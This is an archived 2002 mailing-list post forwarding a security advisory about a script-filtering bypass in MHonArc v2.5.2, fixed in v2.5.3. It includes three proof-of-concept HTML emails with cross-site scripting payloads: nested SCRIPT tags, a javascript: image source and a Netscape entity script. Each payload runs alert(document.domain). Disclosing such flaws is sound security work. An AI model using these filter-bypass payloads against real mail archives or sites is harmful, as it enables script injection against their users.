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  • From: "Valics Lehel" <address@concealed>
  • To: <address@concealed>
  • Subject: OT: MHonArc v2.5.2 Script Filtering Bypass Vulnerability
  • Date: Fri, 19 Apr 2002 07:57:26 +0300

Could be interesting to Sympa Developers ...

Regards,
Valics Lehel
http://www.grafx.ro

MHonArc v2.5.2 Script Filtering Bypass Vulnerability
====================================================

Affected:
---------
MHonArc v2.5.2
http://www.mhonarc.org/

Fixed:
------
MHonArc v2.5.3
http://www.mhonarc.org/MHonArc/CHANGES

Problem:
--------
MHonArc has a feature which filters out scripting tags from incoming
HTML mails and it is enabled on default. However, some variations
of scripting tags will not be filtered.

Exploit 1:
----------
From: address@concealed
To: address@concealed
Date: Sun, 16 Dec 2001 00:00:00 +0900
Subject: test
MIME-Version: 1.0
Content-Type: text/html

<HTML>
<SCR<SCRIPT></SCRIPT>IPT>alert(document.domain)</SCR<SCRIPT></SCRIPT>IPT>
</HTML>
----------

Exploit 2:
----------
From: address@concealed
To: address@concealed
Date: Sun, 16 Dec 2001 00:00:00 +0900
Subject: test
MIME-Version: 1.0
Content-Type: text/html

<HTML>
<IMG SRC=javascript:alert(document.domain)>
</HTML>
----------

Exploit 3:
----------
From: address@concealed
To: address@concealed
Date: Sun, 16 Dec 2001 00:00:00 +0900
Subject: test
MIME-Version: 1.0
Content-Type: text/html

<HTML>
<B foo=&{alert(document.domain)};>
Vulnerable only if Netscape 4.x is used to browse.</B>
</HTML>
----------

Vendor Status:
--------------
The author was contacted on December 16, 2001.
The fixed version was released on April 18, 2002.


Best regards,
--
Hiromitsu Takagi, Ph.D.
National Institute of Advanced Industrial Science and Technology,
Tsukuba Central 2, 1-1-1, Umezono, Tsukuba, Ibaraki 305-8568, Japan
http://staff.aist.go.jp/takagi.hiromitsu/



  • OT: MHonArc v2.5.2 Script Filtering Bypass Vulnerability, Valics Lehel, 04/19/2002

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